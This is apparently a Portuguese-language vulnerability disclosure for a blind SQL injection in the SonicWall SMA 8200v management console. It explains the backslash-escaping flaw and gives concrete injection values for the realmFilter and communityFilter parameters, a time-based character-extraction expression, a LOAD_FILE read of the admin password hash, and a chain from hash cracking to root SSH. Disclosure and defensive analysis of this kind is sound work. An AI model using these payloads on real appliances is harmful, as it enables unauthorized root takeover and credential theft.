
Neutralização inadequada de elementos especiais usados em um comando SQL (“Injeção de SQL”) nos appliances da série SonicWall SMA1000 permite que um atacante remoto autenticado com privilégios de administrador somente leitura eleve privilégios para administrador primário.
Uma vulnerabilidade de injeção SQL cega pós-autenticação no console de gerenciamento do SonicWall SMA 8200v (porta 8443) permite que qualquer administrador autenticado — incluindo contas somente leitura de baixo privilégio — extraia o hash SHA-512 da senha do administrador principal do arquivo de configuração do appliance. Como a SonicWall usa a mesma credencial tanto para o administrador do console de gerenciamento quanto para a conta root do sistema operacional, quebrar esse hash concede acesso total de nível root ao appliance.
Classificação: Escalação de Privilégios (Administrador de baixo privilégio para Root) CVSS 3.1: 7.2 (Alto) — AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H Complexidade do Ataque: Baixa (PoC automatizado conclui a extração em ~60-90 minutos) Pré-requisitos: Qualquer credencial válida do console de gerenciamento (incluindo contas somente leitura)
| Componente | Detalhes |
|---|---|
| Plataforma | SonicWall SMA 8200v (appliance virtual) |
| Firmware | 12.5.0-02283 (confirmado); provavelmente todos os 12.x |
| Serviço | Console de Gerenciamento — Jetty + Struts 2 (porta 8443) |
| Endpoint | POST /activeUsers.action |
| Parâmetros Vulneráveis | realmFilter, communityFilter (entre parâmetros) |
| Classe da Causa Raiz | com.aventail.mgmt.sql.Sql.safeParam() |
| Banco de Dados | MariaDB 10.11.14, usuário DbAdmin (TODOS OS PRIVILÉGIOS + FILE) |
| Arquivo Alvo | /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml |
O console de gerenciamento constrói consultas SQL para o painel de Usuários Ativos usando um método auxiliar safeParam() na classe com.aventail.mgmt.sql.Sql. Esse método escapa aspas simples (') e aspas duplas (") duplicando-as, mas não escapa caracteres de barra invertida (\).
No MySQL/MariaDB, uma barra invertida é o caractere de escape padrão dentro de literais de string. A sequência \' faz com que o banco de dados interprete a aspa simples como um caractere literal em vez de um terminador de string. Isso significa que uma barra invertida no final de um valor de parâmetro escapará a aspa de fechamento que o aplicativo anexa, fazendo com que o literal de string SQL se estenda para a sintaxe adjacente.
Lacuna de sanitização:```
Input: test
safeParam output: test\ (backslash NOT escaped)
In SQL: ... rt.name='test') AND (ct.name='...'
^^ backslash escapes the closing quote
O fechamento `'` após `test\` é consumido como um caractere de aspas literal dentro da string, então o literal de string SQL se estende através do limite `) AND (ct.name='` e para dentro do valor do próximo parâmetro, onde SQL controlado pelo atacante pode ser injetado.
### 3.2 Mecânica de Injeção: Técnica de Parâmetros Cruzados
O endpoint `activeUsers.action` aceita múltiplos parâmetros de filtro que são interpolados em uma única cláusula WHERE do SQL. Os parâmetros relevantes são `realmFilter` e `communityFilter`, que aparecem em uma consulta estruturada aproximadamente como:```sql
SELECT ... FROM ...
WHERE ...
AND (rt.name='<realmFilter>')
AND (ct.name='<communityFilter>')
...
Configuração do parâmetro de ataque:
| Parâmetro | Valor | Finalidade |
|---|---|---|
realmFilter | test\ | A barra invertida final escapa a aspa de fechamento, estendendo o literal de string através do limite AND |
communityFilter | )) OR (SELECT IF(<condição>,SLEEP(N),0))-- x | Fecha os parênteses abertos, injeta SLEEP condicional, comenta o restante |
SQL resultante após interpolação:```sql WHERE ... AND (rt.name='test') AND (ct.name=' )) OR (SELECT IF(,SLEEP(N),0))-- x')
Analisando isto:
1. `rt.name='test\')` — o `\` escapa o `'`, então a string não fecha aqui
2. `AND (ct.name='` — torna-se parte do valor da string (texto literal)
3. A string finalmente fecha no próximo `'` (do início de `communityFilter`)
4. `))` — fecha os dois parênteses abertos da estrutura da cláusula WHERE
5. `OR (SELECT IF(...))` — injeta a condição de SQLi cega
6. `-- x` — comenta o SQL restante (`')` e outras cláusulas)
### 3.3 Extração Cega Baseada em Tempo
Como o tratamento de erros do Struts 2 da aplicação captura exceções SQL de forma graciosa (sempre retornando HTTP 200 com o mesmo conteúdo de página, independentemente do sucesso ou falha da consulta), os métodos de extração baseados em erro e UNION não são viáveis. A injeção é explorada usando a técnica cega baseada em tempo:
- **Condição VERDADEIRA:** `IF(<condição>, SLEEP(N), 0)` — resposta atrasada pela duração do SLEEP multiplicada pela contagem de linhas do conjunto de resultados
- **Condição FALSA:** Sem SLEEP — resposta retorna em ~200-500ms
A função SLEEP executa por linha na avaliação da cláusula WHERE. Com uma tabela de monitoramento típica contendo 30-300+ linhas, mesmo um valor pequeno de SLEEP (ex.: 0,3s) produz um atraso claramente distinguível (10-100s para VERDADEIRO vs. <1s para FALSO).
Cada caractere dos dados alvo é extraído via busca binária sobre o intervalo ASCII:```sql
ORD(SUBSTRING((<extraction_expr>), <position>, 1)) > <midpoint>
Isto requer um máximo de 7 solicitações por caractere (log2(128) = 7), resultando em ~686 solicitações totais para um hash SHA-512 de 98 caracteres.
PRIVILEGE ESCALATION CHAIN
============================================================================
[1] Authenticate Low-privilege admin (e.g., "readonly") | authenticates to management console on port 8443 | using "Local Authentication" realm v [2] SQL Injection Cross-parameter blind SQLi via activeUsers.action | realmFilter backslash + communityFilter payload | Condition: IF(, SLEEP(N), 0) v [3] LOAD_FILE() MariaDB DbAdmin user has FILE privilege | secure_file_priv=NULL does NOT block reads | avconfig.xml is group-readable (mode 664) v [4] Locate Hash LOCATE('consoleMode', file) anchors to admin section | LOCATE('', file, anchor) finds hash element | SUBSTRING + SUBSTRING_INDEX extracts hash value v [5] Extract Hash Binary search extracts hash char-by-char | ~98 chars * ~7 requests = ~686 requests | Output: $6$$ (SHA-512 crypt) v [6] Crack Hash hashcat -m 1800 / john --format=sha512crypt | Admin password = Root SSH password (by design) v [7] Full Compromise SSH as root, management console as admin Complete appliance takeover
### 4.2 Passo 1: Autenticação
O console de gerenciamento do SMA suporta dois realms de autenticação:
| Realm ID | Nome de Exibição | Usuários |
|----------|-------------|-------|
| *(vazio)* | Console de Gerenciamento | Apenas a conta de administrador principal |
| `AMCAuthRealm` / `Local Authentication` | Autenticação Local | Contas de administrador secundárias (readonly, custom) |
O ataque requer apenas uma credencial válida para **qualquer** conta com acesso ao console de gerenciamento. A conta "readonly" — destinada a acesso somente de monitoramento, sem capacidade de alteração de configuração — é suficiente.